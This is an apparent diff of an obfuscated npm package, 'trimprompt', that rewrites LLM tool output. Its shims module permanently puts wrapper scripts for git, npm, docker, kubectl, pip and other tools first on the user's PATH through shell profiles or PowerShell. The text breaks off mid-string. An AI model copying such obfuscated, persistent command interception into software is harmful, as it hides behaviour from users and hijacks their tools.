_0x1c2ede=a0_0x54c50b,_0x5ca77b=(0x0,child_process_1['spawn'])(_0x1b2c8c,_0x57311b,{'stdio':[_0x1c2ede(0x14b),'pipe',_0x1c2ede(0x137)]});process['stdin']['pipe'](_0x5ca77b[_0x1c2ede(0x12d)]);const _0x410018=readline[_0x1c2ede(0x145)]({'input':_0x5ca77b[_0x1c2ede(0x14a)],'terminal':![]});_0x410018['on']('line',_0x500665=>{const _0x1f4228=_0x1c2ede;try{const _0x176926=JSON[_0x1f4228(0x14d)](_0x500665);if(_0x176926&&_0x176926[_0x1f4228(0x142)]===_0x1f4228(0x14c)&&_0x176926['id']!==undefined&&_0x176926['result']&&Array[_0x1f4228(0x15b)](_0x176926['result'][_0x1f4228(0x159)])){let _0x51d395=![];for(const _0x1a26e3 of _0x176926['result'][_0x1f4228(0x159)]){if(_0x1a26e3[_0x1f4228(0x153)]==='text'&&typeof _0x1a26e3['text']===_0x1f4228(0x156)&&_0x1a26e3[_0x1f4228(0x14e)][_0x1f4228(0x133)]()[_0x1f4228(0x149)]>0x0){const _0x5d88cb=_0x1a26e3['text'],_0x191ab0=(0x0,filters_1[_0x1f4228(0x143)])(_0x1f4228(0x152),_0x5d88cb,'',tracker_1['tracker'][_0x1f4228(0x15f)]()['redaction_enabled']);tracker_1[_0x1f4228(0x148)][_0x1f4228(0x150)](_0x1f4228(0x12e)+_0x176926['id']+')',_0x5d88cb,_0x191ab0,0x0),_0x1a26e3[_0x1f4228(0x14e)]=_0x191ab0,_0x51d395=!![];}}_0x51d395?process['stdout'][_0x1f4228(0x141)](JSON['stringify'](_0x176926)+'\x0a'):process[_0x1f4228(0x14a)][_0x1f4228(0x141)](_0x500665+'\x0a');}else process[_0x1f4228(0x14a)]['write'](_0x500665+'\x0a');}catch{process[_0x1f4228(0x14a)]['write'](_0x500665+'\x0a');}}),_0x5ca77b['on'](_0x1c2ede(0x15e),_0x327a85=>{process['exit'](_0x327a85||0x0);}),_0x5ca77b['on'](_0x1c2ede(0x130),_0x4ccaea=>{const _0x3cbd25=_0x1c2ede;console[_0x3cbd25(0x130)](_0x3cbd25(0x13c)+_0x4ccaea[_0x3cbd25(0x136)]),process[_0x3cbd25(0x158)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x2cd0(){const _0x34737b=['rules','16370622IsgwPA','API\x20Key\x20or\x20Password','14096864xNlJWt','IPv4\x20Address','51755XKgbTG','replacement','[REDACTED_EMAIL]','defineProperty','redactor','77202gVGyTv','Email\x20Address','Database\x20Connection\x20String','9006606FTfsFK','10490980PumMpV','$1:\x20[REDACTED_CREDENTIAL]','__esModule','[REDACTED_IP]','Redactor','32AhYISi','52DMWlKv','7qRfVzp','loadDefaultRules','834291iuvZFC','replace'];a0_0x2cd0=function(){return _0x34737b;};return a0_0x2cd0();}const a0_0x1cb4df=a0_0x1e2b;(function(_0x20dab0,_0x1d2d49){const _0x38187c=a0_0x1e2b,_0x107ae5=_0x20dab0();while(!![]){try{const _0x59206f=-parseInt(_0x38187c(0x195))/0x1*(parseInt(_0x38187c(0x18c))/0x2)+-parseInt(_0x38187c(0x199))/0x3+parseInt(_0x38187c(0x196))/0x4*(-parseInt(_0x38187c(0x187))/0x5)+parseInt(_0x38187c(0x18f))/0x6+-parseInt(_0x38187c(0x197))/0x7*(parseInt(_0x38187c(0x185))/0x8)+parseInt(_0x38187c(0x19c))/0x9+parseInt(_0x38187c(0x190))/0xa;if(_0x59206f===_0x1d2d49)break;else _0x107ae5['push'](_0x107ae5['shift']());}catch(_0x2fc1c7){_0x107ae5['push'](_0x107ae5['shift']());}}}(a0_0x2cd0,0xea2b5));Object[a0_0x1cb4df(0x18a)](exports,a0_0x1cb4df(0x192),{'value':!![]}),exports['redactor']=exports[a0_0x1cb4df(0x194)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x3e7630=a0_0x1cb4df;this[_0x3e7630(0x198)]();}[a0_0x1cb4df(0x198)](){const _0x475157=a0_0x1cb4df;this[_0x475157(0x19b)]=[{'name':_0x475157(0x18e),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x475157(0x184),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x475157(0x191)},{'name':_0x475157(0x186),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x475157(0x193)},{'name':_0x475157(0x18d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x475157(0x189)}];}['redact'](_0x5da526){const _0x5f9dd7=a0_0x1cb4df;let _0x1e06bb=_0x5da526;for(const _0x238bd9 of this['rules']){_0x1e06bb=_0x1e06bb[_0x5f9dd7(0x19a)](_0x238bd9['regex'],_0x238bd9[_0x5f9dd7(0x188)]);}return _0x1e06bb;}}function a0_0x1e2b(_0x4ad3da,_0x1d6bde){_0x4ad3da=_0x4ad3da-0x184;const _0x2cd088=a0_0x2cd0();let _0x1e2be3=_0x2cd088[_0x4ad3da];return _0x1e2be3;}exports[a0_0x1cb4df(0x194)]=Redactor,exports[a0_0x1cb4df(0x18b)]=new Redactor();
1
+ 'use strict';const a0_0x5e93c3=a0_0x151e;(function(_0x3102d3,_0x55f72d){const _0x1f92d3=a0_0x151e,_0x4dfab8=_0x3102d3();while(!![]){try{const _0x44bb36=parseInt(_0x1f92d3(0xc4))/0x1*(-parseInt(_0x1f92d3(0xc3))/0x2)+-parseInt(_0x1f92d3(0xb6))/0x3+parseInt(_0x1f92d3(0xae))/0x4*(-parseInt(_0x1f92d3(0xbc))/0x5)+-parseInt(_0x1f92d3(0xb0))/0x6+parseInt(_0x1f92d3(0xb3))/0x7+-parseInt(_0x1f92d3(0xbd))/0x8+parseInt(_0x1f92d3(0xbb))/0x9*(parseInt(_0x1f92d3(0xaf))/0xa);if(_0x44bb36===_0x55f72d)break;else _0x4dfab8['push'](_0x4dfab8['shift']());}catch(_0xd3d27f){_0x4dfab8['push'](_0x4dfab8['shift']());}}}(a0_0x8262,0xece77));function a0_0x151e(_0x36005b,_0x3dc0da){_0x36005b=_0x36005b-0xae;const _0x8262fa=a0_0x8262();let _0x151ecd=_0x8262fa[_0x36005b];return _0x151ecd;}Object[a0_0x5e93c3(0xb9)](exports,a0_0x5e93c3(0xb2),{'value':!![]}),exports['redactor']=exports[a0_0x5e93c3(0xbf)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x44a24a=a0_0x5e93c3;this[_0x44a24a(0xc1)]();}[a0_0x5e93c3(0xc1)](){const _0x14de86=a0_0x5e93c3;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x14de86(0xc2),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':_0x14de86(0xc0),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':_0x14de86(0xb8),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x14de86(0xba)}];}[a0_0x5e93c3(0xb4)](_0x3a7e3e){const _0xb849b2=a0_0x5e93c3;let _0x5bfe45=_0x3a7e3e;for(const _0x304399 of this[_0xb849b2(0xb5)]){_0x5bfe45=_0x5bfe45['replace'](_0x304399[_0xb849b2(0xbe)],_0x304399[_0xb849b2(0xb7)]);}return _0x5bfe45;}}function a0_0x8262(){const _0x285701=['2708ZbCRjZ','1514510FNEndT','6379812jZOxnR','redactor','__esModule','2189838dZzLdo','redact','rules','2154486rzGViB','replacement','Email\x20Address','defineProperty','[REDACTED_EMAIL]','297ZvmQMS','4115CDBpaa','8574792oZfqbf','regex','Redactor','IPv4\x20Address','loadDefaultRules','API\x20Key\x20or\x20Password','1606RnHsKA','1158MUIlWi'];a0_0x8262=function(){return _0x285701;};return a0_0x8262();}exports[a0_0x5e93c3(0xbf)]=Redactor,exports[a0_0x5e93c3(0xb1)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x159136=a0_0x3905;function a0_0x3905(_0x543d4c,_0x316964){_0x543d4c=_0x543d4c-0x7e;const _0x79a90e=a0_0x79a9();let _0x3905f4=_0x79a90e[_0x543d4c];return _0x3905f4;}(function(_0x55d7b7,_0x4cf148){const _0x2b1fa1=a0_0x3905,_0x2e61f3=_0x55d7b7();while(!![]){try{const _0xa9d319=parseInt(_0x2b1fa1(0x7f))/0x1+-parseInt(_0x2b1fa1(0x9d))/0x2+-parseInt(_0x2b1fa1(0x8a))/0x3+parseInt(_0x2b1fa1(0x94))/0x4+parseInt(_0x2b1fa1(0x8c))/0x5*(-parseInt(_0x2b1fa1(0x87))/0x6)+-parseInt(_0x2b1fa1(0x80))/0x7*(-parseInt(_0x2b1fa1(0x91))/0x8)+-parseInt(_0x2b1fa1(0x97))/0x9*(-parseInt(_0x2b1fa1(0x8b))/0xa);if(_0xa9d319===_0x4cf148)break;else _0x2e61f3['push'](_0x2e61f3['shift']());}catch(_0x4f250b){_0x2e61f3['push'](_0x2e61f3['shift']());}}}(a0_0x79a9,0x62158));Object[a0_0x159136(0x96)](exports,a0_0x159136(0x84),{'value':!![]});function a0_0x79a9(){const _0x1fbb85=['test_db.py\x20PASS\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','40YdXeqH','Test\x20suite\x20run\x20starting...\x0a','added\x201420\x20packages\x20in\x2014s\x0a','460676SeMqbw','Successfully\x20built\x20image.','defineProperty','27kXEZqV','test_api.py\x20PASS\x0a','repeat','log','[INFO]\x20Building\x20modules...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','361888stahzR','tracker','test_auth.py\x20PASS\x0a','pytest\x20tests/app','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','npm\x20run\x20build','323649ncwhpN','1092707XvcKQu','Compilation\x20Output:\x0a','docker\x20build\x20.','./tracker','__esModule','Optimizing\x20assets...\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','150xyJtiI','logExecution','claude-3-opus','2032671tyOLEI','603850iMpvIn','28045knCkVe','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'];a0_0x79a9=function(){return _0x1fbb85;};return a0_0x79a9();}const tracker_1=require(a0_0x159136(0x83));console[a0_0x159136(0x9a)]('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x159136(0x89),tracker_1[a0_0x159136(0x9e)]['logExecution'](a0_0x159136(0x7e),a0_0x159136(0x81)+a0_0x159136(0x9b)+a0_0x159136(0x85)+a0_0x159136(0x8d)[a0_0x159136(0x99)](0x190),a0_0x159136(0x90),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1[a0_0x159136(0x9e)]['logExecution'](a0_0x159136(0xa0),a0_0x159136(0x92)+a0_0x159136(0x9f)+a0_0x159136(0x8f)+a0_0x159136(0x98)[a0_0x159136(0x99)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x159136(0x86),0x0),process.env.TRIMPROMPT_MODEL='gemini-1-5-pro',tracker_1[a0_0x159136(0x9e)][a0_0x159136(0x88)](a0_0x159136(0x82),a0_0x159136(0x9c)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x159136(0x8e)+a0_0x159136(0xa1)+a0_0x159136(0x93)[a0_0x159136(0x99)](0x3)+a0_0x159136(0x95),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x159136(0x9a)]('Database\x20successfully\x20seeded!');
1
+ 'use strict';const a0_0x4f66ef=a0_0x30af;(function(_0x1d5ff0,_0x36aaeb){const _0x5d20ec=a0_0x30af,_0x457374=_0x1d5ff0();while(!![]){try{const _0x58cadd=-parseInt(_0x5d20ec(0x13f))/0x1*(-parseInt(_0x5d20ec(0x151))/0x2)+parseInt(_0x5d20ec(0x157))/0x3+parseInt(_0x5d20ec(0x141))/0x4*(parseInt(_0x5d20ec(0x149))/0x5)+parseInt(_0x5d20ec(0x144))/0x6+parseInt(_0x5d20ec(0x150))/0x7+-parseInt(_0x5d20ec(0x14e))/0x8*(-parseInt(_0x5d20ec(0x143))/0x9)+parseInt(_0x5d20ec(0x142))/0xa*(-parseInt(_0x5d20ec(0x13e))/0xb);if(_0x58cadd===_0x36aaeb)break;else _0x457374['push'](_0x457374['shift']());}catch(_0x232e8b){_0x457374['push'](_0x457374['shift']());}}}(a0_0x1adf,0x6707f));function a0_0x1adf(){const _0x4c17e3=['2241827REtkBy','21370SpQfQf','gpt-4o','tracker','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','claude-3-opus','Test\x20suite\x20run\x20starting...\x0a','369135ezUOGX','./tracker','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','defineProperty','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','pytest\x20tests/app','12256486nlJbWP','2NgdLEF','[INFO]\x20Building\x20modules...\x0a','4rnrkSD','10tuNCvL','342rXCNpY','1722666bptUaF','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','Compilation\x20Output:\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Database\x20successfully\x20seeded!','3661590DNPROw','repeat','npm\x20run\x20build','gemini-1-5-pro','added\x201420\x20packages\x20in\x2014s\x0a','10976tGcWcC','log'];a0_0x1adf=function(){return _0x4c17e3;};return a0_0x1adf();}function a0_0x30af(_0x19a816,_0x56c194){_0x19a816=_0x19a816-0x13b;const _0x1adf9b=a0_0x1adf();let _0x30afae=_0x1adf9b[_0x19a816];return _0x30afae;}Object[a0_0x4f66ef(0x15a)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x4f66ef(0x158));console['log'](a0_0x4f66ef(0x13c)),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x155),tracker_1[a0_0x4f66ef(0x153)]['logExecution'](a0_0x4f66ef(0x14b),a0_0x4f66ef(0x146)+a0_0x4f66ef(0x140)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x152),tracker_1[a0_0x4f66ef(0x153)][a0_0x4f66ef(0x13b)](a0_0x4f66ef(0x13d),a0_0x4f66ef(0x156)+'test_auth.py\x20PASS\x0a'+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4f66ef(0x14a)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.',0x0),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x14c),tracker_1[a0_0x4f66ef(0x153)][a0_0x4f66ef(0x13b)]('docker\x20build\x20.',a0_0x4f66ef(0x159)+a0_0x4f66ef(0x147)+a0_0x4f66ef(0x154)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x4f66ef(0x14d)[a0_0x4f66ef(0x14a)](0x3)+'Successfully\x20built\x20image.',a0_0x4f66ef(0x145),0x0),console[a0_0x4f66ef(0x14f)](a0_0x4f66ef(0x148));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x36c5f1=a0_0x510b;(function(_0x450575,_0x403ca9){const _0x5a59a6=a0_0x510b,_0x441abf=_0x450575();while(!![]){try{const _0x2b6375=parseInt(_0x5a59a6(0x1b3))/0x1+-parseInt(_0x5a59a6(0x1dc))/0x2+-parseInt(_0x5a59a6(0x1be))/0x3*(-parseInt(_0x5a59a6(0x1ac))/0x4)+parseInt(_0x5a59a6(0x1b8))/0x5+parseInt(_0x5a59a6(0x1bd))/0x6+parseInt(_0x5a59a6(0x1ea))/0x7+-parseInt(_0x5a59a6(0x1c6))/0x8*(parseInt(_0x5a59a6(0x1b2))/0x9);if(_0x2b6375===_0x403ca9)break;else _0x441abf['push'](_0x441abf['shift']());}catch(_0x43badc){_0x441abf['push'](_0x441abf['shift']());}}}(a0_0x2e9b,0xc4845));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x36eea1,_0xa027e1,_0x2630ed,_0x162ec8){const _0x1b3549=a0_0x510b;if(_0x162ec8===undefined)_0x162ec8=_0x2630ed;var _0x571fed=Object['getOwnPropertyDescriptor'](_0xa027e1,_0x2630ed);(!_0x571fed||(_0x1b3549(0x1e5)in _0x571fed?!_0xa027e1[_0x1b3549(0x1a8)]:_0x571fed[_0x1b3549(0x1d8)]||_0x571fed['configurable']))&&(_0x571fed={'enumerable':!![],'get':function(){return _0xa027e1[_0x2630ed];}}),Object['defineProperty'](_0x36eea1,_0x162ec8,_0x571fed);}:function(_0x5929be,_0x49da84,_0x28819c,_0x9f4928){if(_0x9f4928===undefined)_0x9f4928=_0x28819c;_0x5929be[_0x9f4928]=_0x49da84[_0x28819c];}),__setModuleDefault=this&&this[a0_0x36c5f1(0x1d6)]||(Object[a0_0x36c5f1(0x1d1)]?function(_0x5e8a49,_0x27b6cc){const _0x32cd5b=a0_0x36c5f1;Object['defineProperty'](_0x5e8a49,_0x32cd5b(0x1f0),{'enumerable':!![],'value':_0x27b6cc});}:function(_0x54f47c,_0x244814){_0x54f47c['default']=_0x244814;}),__importStar=this&&this['__importStar']||(function(){var _0x4abc97=function(_0x291565){const _0x4a0e12=a0_0x510b;return _0x4abc97=Object[_0x4a0e12(0x1de)]||function(_0x5c084c){const _0x49f694=_0x4a0e12;var _0x561acd=[];for(var _0x6e7d19 in _0x5c084c)if(Object[_0x49f694(0x1bb)][_0x49f694(0x1c5)]['call'](_0x5c084c,_0x6e7d19))_0x561acd[_0x561acd['length']]=_0x6e7d19;return _0x561acd;},_0x4abc97(_0x291565);};return function(_0x1dcfe1){const _0x3688d3=a0_0x510b;if(_0x1dcfe1&&_0x1dcfe1[_0x3688d3(0x1a8)])return _0x1dcfe1;var _0x379705={};if(_0x1dcfe1!=null){for(var _0x326691=_0x4abc97(_0x1dcfe1),_0x39d094=0x0;_0x39d094<_0x326691[_0x3688d3(0x1c0)];_0x39d094++)if(_0x326691[_0x39d094]!==_0x3688d3(0x1f0))__createBinding(_0x379705,_0x1dcfe1,_0x326691[_0x39d094]);}return __setModuleDefault(_0x379705,_0x1dcfe1),_0x379705;};}());Object[a0_0x36c5f1(0x1e9)](exports,a0_0x36c5f1(0x1a8),{'value':!![]}),exports[a0_0x36c5f1(0x1c7)]=installShims,exports[a0_0x36c5f1(0x1ba)]=uninstallShims;function a0_0x510b(_0x17d393,_0x1e763a){_0x17d393=_0x17d393-0x1a6;const _0x2e9bc1=a0_0x2e9b();let _0x510b95=_0x2e9bc1[_0x17d393];return _0x510b95;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x36c5f1(0x1ab))),os=__importStar(require('os')),SHIMMED_COMMANDS=[a0_0x36c5f1(0x1c9),'gh',a0_0x36c5f1(0x1da),a0_0x36c5f1(0x1b6),'npm',a0_0x36c5f1(0x1cd),a0_0x36c5f1(0x1b4),a0_0x36c5f1(0x1c1),a0_0x36c5f1(0x1db),a0_0x36c5f1(0x1e2),a0_0x36c5f1(0x1e0),a0_0x36c5f1(0x1b1),a0_0x36c5f1(0x1bc),'go'];function installShims(){const _0xeb71d1=a0_0x36c5f1,_0x3f3756=path['join'](os[_0xeb71d1(0x1f1)](),_0xeb71d1(0x1a9),_0xeb71d1(0x1d9));try{!fs[_0xeb71d1(0x1a7)](_0x3f3756)&&fs[_0xeb71d1(0x1af)](_0x3f3756,{'recursive':!![]});const _0x548e90=os[_0xeb71d1(0x1a6)]()===_0xeb71d1(0x1ec);for(const _0x288f6d of SHIMMED_COMMANDS){if(_0x548e90){const _0xfd2e5=path['join'](_0x3f3756,_0x288f6d+_0xeb71d1(0x1eb)),_0x2d1dd5=_0xeb71d1(0x1aa)+_0x288f6d+_0xeb71d1(0x1cb);fs[_0xeb71d1(0x1d3)](_0xfd2e5,_0x2d1dd5,_0xeb71d1(0x1d5));const _0x38ba58=path[_0xeb71d1(0x1ae)](_0x3f3756,_0x288f6d+_0xeb71d1(0x1e8)),_0x2b17e8=_0xeb71d1(0x1ce)+_0x288f6d+_0xeb71d1(0x1d4);fs[_0xeb71d1(0x1d3)](_0x38ba58,_0x2b17e8,'utf8');}else{const _0x5af246=path[_0xeb71d1(0x1ae)](_0x3f3756,_0x288f6d),_0x5e6407=_0xeb71d1(0x1dd)+_0x288f6d+_0xeb71d1(0x1ed);fs[_0xeb71d1(0x1d3)](_0x5af246,_0x5e6407,'utf8'),fs['chmodSync'](_0x5af246,_0xeb71d1(0x1ad));}}let _0x22305d=![],_0x598bba='';if(_0x548e90)try{const {execSync:_0x576bfb}=require('child_process'),_0x41ae47=_0xeb71d1(0x1cf),_0x133d6d=_0x576bfb(_0xeb71d1(0x1b9)+_0x41ae47+'\x22')[_0xeb71d1(0x1c4)]()[_0xeb71d1(0x1e7)]();if(!_0x133d6d[_0xeb71d1(0x1d2)](_0x3f3756)){const _0x2312ce=_0x3f3756+';'+_0x133d6d,_0x567359=_0xeb71d1(0x1c2)+_0x2312ce+'\x27,\x20\x27User\x27)';_0x576bfb(_0xeb71d1(0x1b9)+_0x567359+'\x22'),_0x22305d=!![];}else _0x22305d=!![];}catch(_0x9a0f59){_0x598bba=_0xeb71d1(0x1e6)+_0x3f3756;}else try{const _0x18a342=_0xeb71d1(0x1df)+_0x3f3756+':$PATH\x22\x0a',_0x3a5682=os[_0xeb71d1(0x1f1)](),_0x251560=[_0xeb71d1(0x1cc),_0xeb71d1(0x1e1),_0xeb71d1(0x1ee),_0xeb71d1(0x1d7)];let _0x38ca4e=![];for(const _0x59a7f5 of _0x251560){const _0x1aaf3c=path['join'](_0x3a5682,_0x59a7f5);if(fs[_0xeb71d1(0x1a7)](_0x1aaf3c)){const _0x4f34cd=fs[_0xeb71d1(0x1b0)](_0x1aaf3c,_0xeb71d1(0x1d5));!_0x4f34cd[_0xeb71d1(0x1d2)](_0x3f3756)?(fs['appendFileSync'](_0x1aaf3c,_0xeb71d1(0x1b7)+_0x18a342),_0x38ca4e=!![]):_0x38ca4e=!![];}}if(!_0x38ca4e){const _0x24b241=path[_0xeb71d1(0x1ae)](_0x3a5682,'.bashrc');fs[_0xeb71d1(0x1c8)](_0x24b241,_0xeb71d1(0x1b7)+_0x18a342);}_0x22305d=!![];}catch(_0x340e27){_0x598bba=_0xeb71d1(0x1ca)+_0x3f3756+_0xeb71d1(0x1c3);}const _0x16106a='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0xeb71d1(0x1c0)]+'\x20commands.\x0a\x0a',_0x5a183a=_0x22305d?_0x16106a+_0xeb71d1(0x1ef):_0x16106a+_0xeb71d1(0x1b5)+_0x598bba;return{'success':!![],'pathDir':_0x3f3756,'message':_0x5a183a};}catch(_0x1ec121){return{'success':![],'pathDir':_0x3f3756,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x1ec121[_0xeb71d1(0x1e3)]};}}function a0_0x2e9b(){const _0x3e5b4b=['message','readdirSync','get','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','trim','.ps1','defineProperty','9702028KOtULk','.cmd','win32','\x20\x22$@\x22\x0a','.bash_profile','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','default','homedir','platform','existsSync','__esModule','.trimprompt','@echo\x20off\x0atrim\x20','path','1564100LtORXn','755','join','mkdirSync','readFileSync','pip','38572713lFLGCx','93660uFoFIA','npx','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','cargo','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','7495000MuRtbX','powershell\x20-Command\x20\x22','uninstallShims','prototype','pip3','6435156GkfLiZ','12dOFIra','TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.','length','yarn','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27',':$PATH\x22','toString','hasOwnProperty','8zrwoIP','installShims','appendFileSync','git','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x20%*\x0a','.bashrc','pnpm','trim\x20','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','unlinkSync','create','includes','writeFileSync','\x20$args\x0a','utf8','__setModuleDefault','.profile','writable','shims','glab','kubectl','1049000XxHXmp','#!/bin/sh\x0aexec\x20trim\x20','getOwnPropertyNames','export\x20PATH=\x22','pytest','.zshrc','docker'];a0_0x2e9b=function(){return _0x3e5b4b;};return a0_0x2e9b();}function uninstallShims(){const _0x1cd170=a0_0x36c5f1,_0x513c02=path[_0x1cd170(0x1ae)](os[_0x1cd170(0x1f1)](),_0x1cd170(0x1a9),'shims');try{if(fs[_0x1cd170(0x1a7)](_0x513c02)){const _0x2b291e=fs[_0x1cd170(0x1e4)](_0x513c02);for(const _0x1d7203 of _0x2b291e){fs[_0x1cd170(0x1d0)](path[_0x1cd170(0x1ae)](_0x513c02,_0x1d7203));}fs['rmdirSync'](_0x513c02);}return{'success':!![],'message':_0x1cd170(0x1bf)};}catch(_0x373062){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x373062[_0x1cd170(0x1e3)]};}}
1
+ 'use strict';const a0_0x120aaa=a0_0x45df;(function(_0x29dc4d,_0x26378e){const _0x6ef82a=a0_0x45df,_0x66c65c=_0x29dc4d();while(!![]){try{const _0x5a27c2=parseInt(_0x6ef82a(0xfe))/0x1*(-parseInt(_0x6ef82a(0xd1))/0x2)+parseInt(_0x6ef82a(0xf0))/0x3+parseInt(_0x6ef82a(0xd2))/0x4+-parseInt(_0x6ef82a(0xda))/0x5*(-parseInt(_0x6ef82a(0xb5))/0x6)+parseInt(_0x6ef82a(0xe9))/0x7+-parseInt(_0x6ef82a(0xbd))/0x8*(-parseInt(_0x6ef82a(0xcb))/0x9)+parseInt(_0x6ef82a(0xd9))/0xa*(-parseInt(_0x6ef82a(0xc6))/0xb);if(_0x5a27c2===_0x26378e)break;else _0x66c65c['push'](_0x66c65c['shift']());}catch(_0x196536){_0x66c65c['push'](_0x66c65c['shift']());}}}(a0_0x1d32,0xa170d));function a0_0x45df(_0x90c42b,_0x34b1ed){_0x90c42b=_0x90c42b-0xb4;const _0x1d32fa=a0_0x1d32();let _0x45dfb8=_0x1d32fa[_0x90c42b];return _0x45dfb8;}function a0_0x1d32(){const _0x288d06=['35JqsXey','existsSync','755','\x20commands.\x0a\x0a','@echo\x20off\x0atrim\x20','path','platform','mkdirSync','pip3','#!/bin/sh\x0aexec\x20trim\x20',':$PATH\x22','trim\x20','utf8','homedir','toString','1194578MMKyEj','shims','writable','npm','glab','__esModule','hasOwnProperty','1149636lpeAJy','unlinkSync','default','writeFileSync','Failed\x20to\x20uninstall\x20shims:\x20','join','child_process','get','prototype','includes','yarn','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','call','pip','6JzjufL','rmdirSync','pnpm','1122222OtHIng','powershell\x20-Command\x20\x22','\x20%*\x0a','npx','appendFileSync','trim','win32','length','56gsgiVL','.bash_profile','uninstallShims','__createBinding','.profile','kubectl','__setModuleDefault','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x20$args\x0a','1073501xqJLWx','__importStar','installShims','.trimprompt','\x20\x22$@\x22\x0a','1185651QIpTJM',':$PATH\x22\x0a','create','.zshrc','.cmd','.ps1','227702ISkUFu','1653192KhAkgz','Fail